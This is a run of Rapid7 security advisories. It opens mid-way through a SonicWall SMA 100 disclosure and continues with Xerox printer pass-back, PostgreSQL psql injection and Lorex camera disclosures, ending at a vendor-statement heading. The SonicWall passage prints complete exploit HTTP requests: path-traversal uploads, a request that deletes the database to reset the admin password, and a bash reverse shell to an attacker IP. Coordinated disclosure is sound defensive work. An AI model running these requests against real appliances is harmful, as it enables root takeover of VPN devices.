clientApi.add_resource(NxPostConnectionScriptFileResource, '/nxpostconnectionscript/file')
clientApi.add_resource(NxVersionResource, '/nxversion')
clientApi.add_resource(VpnParametersResource, '/vpnparameters')
clientApi.add_resource(SessionStatusResource, '/sessionstatus')
clientApi.add_resource(AlwaysOnResource, '/alwayson')
clientApi.add_resource(RecurringEpcProfileResource, '/recurringepcprofile')
clientApi.add_resource(BookmarkDetailListResource, '/bookmarkdetails')
clientApi.add_resource(ConnectionProxyResource, '/connectionproxy')
clientApi.add_resource(AdLogonScriptResource, '/adlogonscript')

The NxPostConnectionScriptFileResource endpoint sounds promising, since it deals with file operations. Within nxpostconnectionscript.py, we find the API endpoint logic for POST requests. A file input parameter called upfile is expected ([J]). A sanitized file name is extracted using secure_filename (to prevent path traversal) and assigned to the tmp_file variable ([K]). Then, the file contents are stored in tmp_file’s location. A file operation command is also executed using os.system, with the tmp_file argument sanitized using shlex.quote to prevent command injection ([L]).

This is all handled well. However, while the tmp_file path was created safely, the application later needs to reference just the file name without the prepended /tmp directory. In order to do so, it defines a new filePath variable by directly concatenating the unsanitized file.filename string with a different directory path ([M]). This is then wrapped in shlex.quote, appended to the string “chmod 777 ”, and executed using os.system ([N]). No command injection is possible, since the command string is appropriately escaped. Despite this, shlex.quote does not remove path traversal sequences, so a relative traversal file name can be supplied by the attacker to execute “chmod 777” as root on any path of the attacker’s choosing.

   @swagger.doc(postDocument)
    def post(self):
        post_reqparser = reqparse.RequestParser()
        post_reqparser.add_argument('upfile', required = True, type = FileStorage, location = 'files') # [J]
        args = post_reqparser.parse_args()

        [..SNIP..]

        # store file in /tmp for examination
        file = request.files['upfile']
        tmp_file = '/tmp/' + secure_filename(file.filename) # [K]
        file.save(tmp_file)

        fileSize = os.stat(tmp_file).st_size
        if (fileSize > smaApi.MAX_SCRIPT_FILE_LEN or fileSize == 0):
            cmd = "rm -rf {}".format(shlex.quote(tmp_file)) # [L]
            os.system(cmd)
            raise BadRequest(getMessage(API_ERR_CODE_CLIENT_FILE_SIZE_INVALID).format(int(smaApi.MAX_SCRIPT_FILE_LEN / 1024)))

        # check dir exists or not and if not create it
        if (not os.path.exists(smaApi.POST_SCRIPTS_DIR)):
            cmd = "mkdir {}; chmod 777 {}".format(shlex.quote(smaApi.POST_SCRIPTS_DIR), shlex.quote(smaApi.POST_SCRIPTS_DIR))
            os.system(cmd)
        
        if (not os.path.exists(smaApi.POST_SCRIPTS_DESC_DIR)):
            cmd = "mkdir {}; chmod 777 {}".format(shlex.quote(smaApi.POST_SCRIPTS_DESC_DIR), shlex.quote(smaApi.POST_SCRIPTS_DESC_DIR))
            os.system(cmd)

        # move file to its destination
        cmd = "mv {} {}".format(shlex.quote(tmp_file), shlex.quote(smaApi.POST_SCRIPTS_DIR))
        os.system(cmd)
        filePath = smaApi.POST_SCRIPTS_DIR + '/' + file.filename # [M]
        cmd = "chmod 777 {}".format(shlex.quote(filePath)) # [N]
        os.system(cmd)
[..SNIP..]

Exploitation

This is a niche primitive, since we do not control the command being executed. Fortunately, making any directory world-writable is exactly what we need to weaponize CVE-2025-32821, our arbitrary low-privilege file write as nobody. We’ll perform a web request to the vulnerable API endpoint as the lowpriv user. In that request, we’ll set upfile to a relative traversal sequence into /bin, which is on the root user’s PATH.

POST /__api__/v1/client/nxpostconnectionscript/file HTTP/1.1
Host: 192.168.181.150
Cookie: swap="MUZTMTExT29UVW1UZ0p2aURTQThWYzlLTmV3TEp3dGR5a0FzR3h6aEY2RT0="; swcctn=kg02nQOWI0JEdgI9OyK4i2EJyvP0Zfy0
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIpPybfdplJ1hIwzq
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 213

------WebKitFormBoundaryIpPybfdplJ1hIwzq
Content-Disposition: form-data; name="upfile"; filename="../../../../../../../../../bin/"

01
------WebKitFormBoundaryIpPybfdplJ1hIwzq--

Our pspy monitor logs two commands being executed as root. The first command’s file path is sanitized using secure_filename, but the second is only sanitized using shlex.quote, resulting in a traversal to /bin.

CMD: UID=0     PID=15082  | sh -c mv /tmp/bin /usr/src/EasyAccess/var/conf/postscripts
CMD: UID=0     PID=15083  | sh -c chmod 777 /usr/src/EasyAccess/var/conf/postscripts/../../../../../../../../../bin/

Exploitation is confirmed with our console root shell, which shows that the /bin directory is now world-writable.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

CVE-2025-32821

An authenticated attacker with administrator privileges can inject shell command arguments with an escape sequence to upload a fully controlled file anywhere that the nobody user can write to. This can be chained with CVE-2025-32820 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. It’s also possible to copy existing files that the nobody user can read, such as /etc/passwd or the application’s SQLite database, to the web root directory for data exfiltration.

We’ll start by taking a look at the main function in /cgi-bin/importlogo.

After confirming the user is an authenticated administrator and the HTTP method is “POST”, the application checks for the presence of an integer parameter called updateFavicon ([O]). If this is set to “1”, and if the defaultFavicon parameter is “0”, the application will call FUN_0804a0f0 with the first argument set to a FILE pointer from the multipart form file parameter called favicon1 ([P]). After confirming some basic validation checks, such as file size, the FUN_0804a0f0 function will write the uploaded file to disk at /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico. Next, the portalName POST parameter is fetched and passed through safeSystemCmdArg2 ([Q]). This is a security function that searches for command injection characters, such as $, \n, ;, |, <, >, ^, and `. If any of those characters are detected, the function will return a truncated string of the characters up to that point. Then, a format string is created with the sanitized portalName value to craft the shell command string cp -f /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico /usr/src/EasyAccess/uiaddon/{portalName_VALUE}/favicon.ico ([R]) and the command is executed via system_s_quiet ([S]), which is a wrapper for system that runs in the context of nobody.

[..SNIP..]
  if (initCgi() < 0) {
    return -1;
  }

  getCookie("swap",cookieBuffer);

  initClientApi();
  cspInit();

  reqMethod = (char *)gcgiFetchEnvVar(4);
  uVar9 = dbhGet(0);

  sessionHandle = sessionGetAndRefresh(uVar9,cookieBuffer);

  if (sessionHandle == 0) {
    gcgiSendStatus(401);
    return 0;
  }
  respJson = cJSON_CreateObject();
  messageJsonArray = cJSON_CreateArray();

  if ((respJson == 0) || (messageJsonArray = 0)) {
    return 0;
  }

  maybeResult = userRolePermissionCheck(sessionHandle,reqMethod);
  if (maybeResult == 1) {
    pcVar5 = "You have no permission to view this page";

LAB_0804948a:
    addWarningMessage(messageJsonArray,"error",pcVar5);
  }
  else {
    if (maybeResult == 2) {
      pcVar5 = "Read-only administrator";
      goto LAB_0804948a;
    }

    if (maybeResult == 0) {
      maybeResult = strcmp(reqMethod,"POST");

      if (maybeResult != 0) goto LAB_080493e8;

      if (doCSRFTokenCheck(sessionHandle) != 1) {
        exit(-1);
      }

      setuid(0);
      setgid(0);
      seteuid(0);
      setegid(0);
      
      gcgiFetchInteger("updateFavicon",&updateFaviconFlag,0);
      
      if (updateFaviconFlag == 1) { // [O]
        maybeResult = gcgiFetchInteger("defaultFavicon",&useDefaultFavicon,0);
        bVar1 = nullptr;

        if (useDefaultFavicon == 0) {
          maybeResult = FUN_0804a0f0("favicon1","favicon1.ico",maybeResult); // [P]
          bVar1 = 0 < maybeResult;
        }

        maybeResult = gcgiFetchString("portalName",portalNameBuffer,0x80);

        if (maybeResult == 0) {
          if (useDefaultFavicon == 0) { 
            if (bVar1) {
              uVar9 = safeSystemCmdArg2(portalNameBuffer,"-"); // [Q]
              baseInstallDir = "/usr/src/EasyAccess";
              __snprintf_chk(pcVar5,0x180,1,0x180,
                             "cp -f %s/www/htdocs/themes/favicon1.ico %s/uiaddon/%s/favicon.ico",
                           "/usr/src/EasyAccess","/usr/src/EasyAccess",uVar9,"/usr/src/EasyAccess"
                            ); // [R]
              system_s_quiet(pcVar5); // [S]
[..SNIP..]

Note that the provided portal name is not validated as a legitimate web portal name at any point in the code path thus far–it’s checked against valid portal names if updateFavicon is not set. So, we don’t need to provide a valid portal name. Additionally, although the portal name is sanitized for command injection characters, it is not sanitized for path traversals, it is not URL encoded, and hash symbols are not truncated. As a result, an attacker can provide a portalName value with a traversal sequence to a different file path, followed by a space and a hash symbol to escape “/favicon.ico”.

The result is that the attacker can upload their own fully controlled file and exploit the limited command injection to write it with any file name they’d like to any directory that nobody can write to.

Exploitation

We can perform the web request depicted below to exploit this arbitrary file write.

POST /cgi-bin/importlogo HTTP/1.1
Host: 192.168.181.150
Cookie: ajaxUpdates=OFF; swap="NVlSSVc1MVdtb0syYWFybFdUdHFEcG9hRjZpMWlyaThlY0FmdlNQRlRhOD0="; swcctn=aXJANYBXJMy46YLSIApSwSoRIWkYRkR5
Content-Length: 554
Sec-Ch-Ua-Platform: "Windows"
X-Csrf-Token: aXJANYBXJMy46YLSIApSwSoRIWkYRkR5
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXOj6BtGNhEubdWvN
Origin: https://192.168.181.152
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.181.152/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="portalName"

../../../../../../usr/src/EasyAccess/www/htdocs/test.txt #
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="defaultFavicon"

0
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="updateFavicon"

1
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="favicon1"; filename="TESTING.gif"
Content-Type: image/gif

CONTENT
------WebKitFormBoundaryXOj6BtGNhEubdWvN--

Our pspy monitor logs the following command being executed as UID 99 (nobody).

2025/05/01 12:10:47 CMD: UID=99    PID=3243   | sh -c cp -f /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico /usr/src/EasyAccess/uiaddon/../../../../../../usr/src/EasyAccess/www/htdocs/test.txt #/favicon.ico 2>/dev/null

As expected, the test.txt file has been written to the web root.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We also note that the uploaded file has the executable bit set by default.

# ls -lha /usr/src/EasyAccess/www/htdocs/test.txt
-rwx------ 1 nobody nobody 7 May  1 12:10 /usr/src/EasyAccess/www/htdocs/test.txt

This detail is useful for exploitation, since it will facilitate easily writing an executable file to a directory on the root PATH for arbitrary remote code execution.

Chained Impact

The vulnerabilities disclosed in this document permit an attacker with SMA SSLVPN low-privilege user credentials to perform the following five steps:

  1. Exploit CVE-2025-32819 to delete the primary SQLite database and reset the password of the default SMA admin user.
  2. Login as admin to the SMA web interface.
  3. Exploit CVE-2025-32820 to make the SMA appliance’s /bin directory world-writable.
  4. Exploit CVE-2025-32821 to write the file /bin/lsb_release. This executable is not installed by default, but we observed that an automated job on the appliance routinely attempts to execute it as root every few minutes.
  5. Wait for sh -c lsb_release to be executed automatically. When this happens, the attacker gains root-level remote code execution on the SMA device.

Demonstration

We’ll start by grabbing our low-privilege user’s cookies in our “assumed breach” scenario. This cookie string is swap="ZHNZZThVdlJzWHY1MkpWTDM0akFjbG9XWFgyd29Hdk1yVEtPZWdzSnJlbz0="; swcctn=LEj9kOzEjYibGOSEW9YE8ElgWwiOgigN.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Now, let’s reset the administrator’s password by exploiting CVE-2025-32819 and deleting the primary SQLite database. The SMA returns a 200 status with no body.

GET /fileshare/sonicfiles/?User=admin&Pass=null&Domn=&RacNumber=44&Arg1=smb://192.168.200.1/test/&Arg2=null&swcctn=../usr/src/EasyAccess/www/python/authentication&timestamp=api/../../../../../../usr/src/EasyAccess/var/conf/persist.db HTTP/1.1
Host: 192.168.181.150
Cookie: swap="ZHNZZThVdlJzWHY1MkpWTDM0akFjbG9XWFgyd29Hdk1yVEtPZWdzSnJlbz0="; swcctn=LEj9kOzEjYibGOSEW9YE8ElgWwiOgigN
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

Refreshing the web page confirms it worked, though the application is not thrilled with our decision.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

After a few seconds, the watchdog has had enough and the device is rebooted. When we refresh the page a couple of minutes later, things are looking as good as new.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

After logging in using the credentials admin:password, we’re greeted with an end user product agreement, indicating that the device has been initialized.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We’ll input a free trial license key to get the device back in a functional state, though a real attacker would probably use a stolen one. Next, we’ll use our CVE-2025-32820 PoC to make /bin writable. The server should return a 500 error with the message “Failed to create description file.”

POST /__api__/v1/client/nxpostconnectionscript/file HTTP/1.1
Host: 192.168.181.150
Cookie: swap="amZEMjA1cVYwNXRzWDFmcDgzcVhEb3NNM2hFMHE4a0FTOFZTQTlDeE1kaz0="; swcctn=bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIpPybfdplJ1hIwzq
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 181

------WebKitFormBoundaryIpPybfdplJ1hIwzq
Content-Disposition: form-data; name="upfile"; filename="../../../../../../../../../bin/"

01
------WebKitFormBoundaryIpPybfdplJ1hIwzq--

Lastly, we’ll set our sights on remote code execution as root by exploiting CVE-2025-32821. We throw the reverse shell PoC below at our victim and it responds with a 200 code and “success” in the body. Note that a hash symbol is also appended to our executable file contents; this is added because the file write occasionally seems to append a junk character to our command, though it doesn’t happen every time. In order to avoid any unexpected additions, we escape the rest of the line.

POST /cgi-bin/importlogo HTTP/1.1
Host: 192.168.181.150
Cookie: swap="amZEMjA1cVYwNXRzWDFmcDgzcVhEb3NNM2hFMHE4a0FTOFZTQTlDeE1kaz0="; swcctn=bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Content-Length: 567
Sec-Ch-Ua-Platform: "Windows"
X-Csrf-Token: bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXOj6BtGNhEubdWvN
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="portalName"

../../../../../../bin/lsb_release #
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="defaultFavicon"

0
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="updateFavicon"

1
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="favicon1"; filename="TESTING.gif"
Content-Type: image/gif

bash -i >& /dev/tcp/192.168.181.129/4242 0>&1 #
------WebKitFormBoundaryXOj6BtGNhEubdWvN--

One minute later, our reverse shell arrives and root-level remote code execution is confirmed.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Disclosure timeline

  • May 2, 2025: Rapid7 shares vulnerability details with SonicWall security contacts. The SonicWall team acknowledges the disclosure 30 minutes later and confirms that patch development work will begin.
  • May 4, 2025: The SonicWall security team states that a fixed build will be shared on May 5 for patch validation.
  • May 5, 2025: The SonicWall security team shares the 10.2.1.15 build with Rapid7. The Rapid7 team validates that the patch is effective.
  • May 6, 2025: The SonicWall security team states that the patch will be targeting a May 7 release date.
  • May 7, 2025: SonicWall releases v10.2.1.15 and publishes a security advisory. After confirming the patch is generally available, Rapid7 publishes this disclosure.

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

Post Syndicated from Deral Heiland original https://blog.rapid7.com/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed/

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

During security testing, Rapid7 discovered that Xerox Versalink C7025 Multifunction printers (MFPs) were vulnerable to pass-back attacks. The affected products identified were:

  • Xerox Versalink MFPs
  • Firmware Version: 57.69.91 and earlier

This issue has been assigned the following CVEs:

  • CVE-2024-12510: LDAP pass-back vulnerability
  • CVE-2024-12511: SMB / FTP pass-back vulnerability

Product description

The Xerox Versalink C7025 Multifunction printer (MFP) is an all-in-one enterprise color printer designed to deliver print, copy, scan, fax, and email capabilities for enterprise business environments.

Credit

The pass-back vulnerabilities in the Xerox Versalink MFPs were discovered by Deral Heiland, Principal IoT Researcher at Rapid7. After coordination with the vendor, this disclosure is being published in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation and remediation

This section details the potential for exploitation and remediation guidance for the issues discovered and reported by Rapid7, so that producers of this technology can gauge the impact of these issues appropriately and develop mitigations.

While examining the Xerox Versalink C7025, Rapid7 found that the Versalink MFP device was vulnerable to a pass-back attack. This pass-back style attack leverages a vulnerability that allows a malicious actor to alter the MFP’s configuration and cause the MFP device to send authentication credentials back to the malicious actor. This style of attack can be used to capture authentication data for the following configured services:

  • LDAP
  • SMB
  • FTP

Pass-back attack via LDAP (CVE-2024-12510)

If a malicious actor gains access to the Lightweight Directory Access Protocol (LDAP) configuration page and the LDAP services are configured for authentication, the malicious actor can then reconfigure the LDAP service’s IP address (Figure 1) and trigger an LDAP lookup on the LDAP User Mappings page (Figure 2) to authenticate against an attacker-controlled rogue system rather than the expected server.

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

By running a port listener on a host that the malicious actor controls, they are then able to capture the clear text LDAP service credentials as shown below in Figure 3. This attack requires access to the MFP printer admin account, and LDAP services must have been configured for normal operation to a valid LDAP server.
Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

Pass-back attack via user’s address book – SMB / FTP (CVE-2024-12511)

This attack allows a malicious actor to gain access to the user address book configuration to modify the SMB or FTP server’s IP address (Figure 4) and point the IP address to a host they control, potentially triggering a scan to file and capture the SMB or FTP authentication credentials.

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

This attack allows a malicious actor to capture NetNTLMV2 handshakes or leverage the vulnerability in an SMB relay attack against Active Directory file servers. An example of capturing NetNTLMV2 handshake using the Metasploit capture/smb auxiliary module is shown below in Figure 5. In the case of FTP, the malicious actor would be able to capture clear text FTP authentication credentials.

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

For this attack to be successful, the attacker requires an SMB or FTP scan function to be configured within the user’s address book, as well as physical access to the printer console or access to remote-control console via the web interface (Figure 6). This may require admin access unless user level access to the remote-control console has been enabled.

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

Impact

If a malicious actor can successfully leverage these issues, it would allow them to capture credentials for Windows Active Directory. This means they could then move laterally within an organization’s environment and compromise other critical Windows servers and file systems.

Remediation guidance

Organizations leveraging Xerox Versalink MFP devices should upgrade to the latest patched version of the firmware to fix this issue. Additional details are available in the vendor advisory.

If patching the MFP devices cannot be done at this time, it is highly recommended to set a complex password for the admin account and also avoid using Windows authentication accounts that have elevated privileges, such as a domain admin account for LDAP or scan-to-file SMB services. Also, organizations should avoid enabling the remote-control console for unauthenticated users.

Disclosure timeline

March 26, 2024: Rapid7 contacts vendor to disclose vulnerabilities.
March 27, 2024 – April 11, 2024: Vendor acknowledges receipt of disclosure request; Rapid7 shares vulnerability details. Vendor confirms receipt of disclosure write up and assigns internal case number.
April 19, 2024 – June 11, 2024: Rapid7 requests input on patch ETA and coordinated disclosure date. Vendor requests additional time to determine patch and disclosure timeline; Rapid7 agrees.
July 23, 2024: Rapid7 requests an update on patch ETA and disclosure date.
July 31, 2024 – August 5, 2024: Vendor and Rapid7 agree on a coordinated disclosure date; Rapid7 agrees to test patches once available.
September 3, 2024: Extension requested.
September 26, 2024 – October 4, 2024: Rapid7 requests update. Vendor requests additional time to prepare update.
November 13 – 27, 2024: Rapid7 requests updates.
November 30, 2024 – December 6, 2024: Disclosure extended to January 2025.
December 11 – 30, 2025: Vendor provides CVE IDs and updates.
January 6 – 7, 2025: Vendor provides updates.
January 16, 2025: Disclosure extended to end of January.
January 24 – 27, 2025: Rapid7 requests confirmation on disclosure timeline. Vendor indicates patches are in testing and they will provide Rapid7 an update on progress later in the week.
January 29 – 31, 2025: Vendor indicates patches are generally available, requests that Rapid7 confirm fixes resolved the issue. Rapid7 tests firmware releases, confirms they resolve the vulnerabilities.
February 3, 2025: Vendor indicates advisories are available; Rapid7 notes that reciprocal disclosure will be delayed.
February 14, 2025: This disclosure.

CVE-2025-1094: PostgreSQL psql SQL injection (FIXED)

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

CVE-2025-1094: PostgreSQL psql SQL injection (FIXED)

Rapid7 discovered a high-severity SQL injection vulnerability, CVE-2025-1094, affecting the PostgreSQL interactive tool psql. This discovery was made while Rapid7 was performing research into the recent exploitation of CVE-2024-12356 — an unauthenticated remote code execution (RCE) vulnerability that affects both BeyondTrust Privileged Remote Access (PRA) and BeyondTrust Remote Support (RS). Rapid7 discovered that in every scenario we tested, a successful exploit for CVE-2024-12356 had to include exploitation of CVE-2025-1094 in order to achieve remote code execution. While CVE-2024-12356 was patched by BeyondTrust in December 2024, and this patch successfully blocks exploitation of both CVE-2024-12356 and CVE-2025-1094, the patch did not address the root cause of CVE-2025-1094, which remained a zero-day until Rapid7 discovered and reported it to PostgreSQL.

All supported versions before PostgreSQL 17.3, 16.7, 15.11, 14.16, and 13.19 are affected. CVE-2025-1094 has a CVSS 3.1 base score of 8.1 (High). More information is available in the PostgreSQL advisory.

Impact

CVE-2025-1094 arises from an incorrect assumption that when attacker-controlled untrusted input has been safely escaped via PostgreSQL’s string escaping routines, it cannot be leveraged to generate a successful SQL injection attack. Rapid7 found that SQL injection is, in fact, still possible in a certain scenario when escaped untrusted input is included as part of a SQL statement executed by the interactive psql tool.

Because of how PostgreSQL string escaping routines handle invalid UTF-8 characters, in combination with how invalid byte sequences within the invalid UTF-8 characters are processed by psql, an attacker can leverage CVE-2025-1094 to generate a SQL injection.

An attacker who can generate a SQL injection via CVE-2025-1094 can then achieve arbitrary code execution (ACE) by leveraging the interactive tool’s ability to run meta-commands. Meta-commands extend the interactive tools functionality, by providing a wide variety of additional operations that the interactive tool can perform. The meta-command, identified by the exclamation mark symbol, allows for an operating system shell command to be executed. An attacker can leverage CVE-2025-1094 to perform this meta-command, thus controlling the operating system shell command that is executed.

Alternatively, an attacker who can generate a SQL injection via CVE-2025-1094 can execute arbitrary attacker-controlled SQL statements.

Credit

This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Analysis

A technical analysis of CVE-2025-1094, as it relates to the exploitation of the BeyondTrust vulnerability CVE-2024-12356, is available in AttackerKB.

A Metasploit exploit module that exploits CVE-2025-1094 against a vulnerable BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) target is available here.

Vendor Statement

The PostgreSQL Global Development Group provides information on security vulnerability reporting, releases processes, and known vulnerability fixes at https://www.postgresql.org/support/security/.

Remediation

To remediate CVE-2025-1094, PostgreSQL users should upgrade to PostgreSQL 17.3, 16.7, 15.11, 14.16, or 13.19. For additional details, please see the PostgreSQL advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-1094 with an authenticated vulnerability check expected to be available in today’s (February 13) content release.

For CVE-2024-12356 affecting BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) products, InsightVM and Nexpose customers have been able to assess exposure with authenticated checks for Windows systems (Scan Engine only checks) as of the February 10, 2025 content release.

Disclosure timeline

  • January 27, 2025: Rapid7 makes initial contact with the PostgreSQL security team and discloses vulnerability details.
  • January 29, 2025: The PostgreSQL development group confirms the finding; Rapid7 and PostgreSQL developers agree on a coordinated disclosure date.
  • February 11, 2025: The PostgreSQL development group provides a CVE ID and affected versions.
  • February 13, 2025: This disclosure.

Lorex 2K Indoor Wi-Fi Security Camera: Multiple Vulnerabilities (FIXED)

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2024/12/03/lorex-2k-indoor-wi-fi-security-camera-multiple-vulnerabilities-fixed/

Lorex 2K Indoor Wi-Fi Security Camera: Multiple Vulnerabilities (FIXED)

The Lorex 2K Indoor Wi-Fi Security Camera is a consumer security device that provides cloud-based video camera surveillance capabilities. This device was a target at the 2024 Pwn2Own IoT competition. Rapid7 developed an unauthenticated remote code execution (RCE) exploit chain as an entry for the competition. On November 25, 2024, Lorex released a firmware update to resolve the five vulnerabilities that comprise the exploit chain reported by Rapid7. As of December 3, 2024, we are disclosing these issues publicly in coordination with the vendor.

Technical analysis

A detailed technical analysis for the exploit chain described in this blog can be found in Rapid7’s whitepaper here.

The accompanying source code for the exploit chain can be found here.

The exploit chain consists of five distinct vulnerabilities, which operate together in two phases to achieve unauthenticated RCE. The five vulnerabilities are listed below.

CVE Description Affected Component CVSS
CVE-2024-52544 An unauthenticated attacker can trigger a stack-based buffer overflow. DP Service (TCP port 3500) 9.8 (Critical)
CVE-2024-52545 An unauthenticated attacker can perform an out-of-bounds heap read. IQ Service (TCP port 9876) 6.5 (Medium)
CVE-2024-52546 An unauthenticated attacker can perform a null pointer dereference. DHIP Service (UDP port 37810) 5.3 (Medium)
CVE-2024-52547 An authenticated attacker can trigger a stack-based buffer overflow. DHIP Service (TCP port 80) 7.2 (High)
CVE-2024-52548 An attacker can bypass code signing enforcements and execute arbitrary native code. Kernel 6.7 (Medium)

Phase 1 performs an authentication bypass, allowing a remote unauthenticated attacker to reset the device’s admin password to a password of the attacker’s choosing. This phase leverages an unauthenticated stack-based buffer overflow, and an unauthenticated out-of-bounds (OOB) heap read vulnerability. The OOB heap read allows an attacker to leak secrets stored in the device’s memory that are required to compute a special code value; this code value is required for an administrator password reset to be performed. A null pointer dereference vulnerability is leveraged to force the device to reboot in order to allow the next phase to complete.

Phase 2 achieves remote code execution by leveraging the auth bypass in phase 1 to perform an authenticated stack-based buffer overflow and execute an operating system (OS) command with root privileges. This capability is then leveraged to write a file to disk and, in turn, bypass the device’s code signing enforcement in order to execute arbitrary native code. Finally, the exploit will execute a reverse shell payload to give the remote attacker a root shell on the target device.

An overview of the two phases chained together can be seen below.

Lorex 2K Indoor Wi-Fi Security Camera: Multiple Vulnerabilities (FIXED)

Impact

A remote unauthenticated attacker can leverage CVE-2024-52544, CVE-2024-52545, and CVE-2024-52546 (Phase 1) to reset a target device’s admin password, to a password of the attacker’s choosing. With valid admin credentials, an attacker can then either view the live video and audio feed from the device, or proceed to leverage CVE-2024-52547 and CVE-2024-52548 (Phase 2) to achieve remote code execution with root privileges on the target device.

The below table lists the affected devices and firmware versions.

Device Firmware
W461AS-EG 2.800.00LR000.0.R.210907
W462AQ-EG 2.800.00LR000.0.R.210907
W461AS 2.800.00LR000.0.R.210730
W462AQ 2.800.00LR000.0.R.210730
W461AS-EG S2 2.800.0000000.3.R.20220331
W462AC-EG S2 2.800.0000000.3.R.20220331
W461AS 2.800.0000000.3.R.202203
W462AQ 2.800.0000000.3.R.202203
W461ASC 2.800.030000000.3.R

Credit

These vulnerabilities were discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

The following statement has been provided by the vendor.

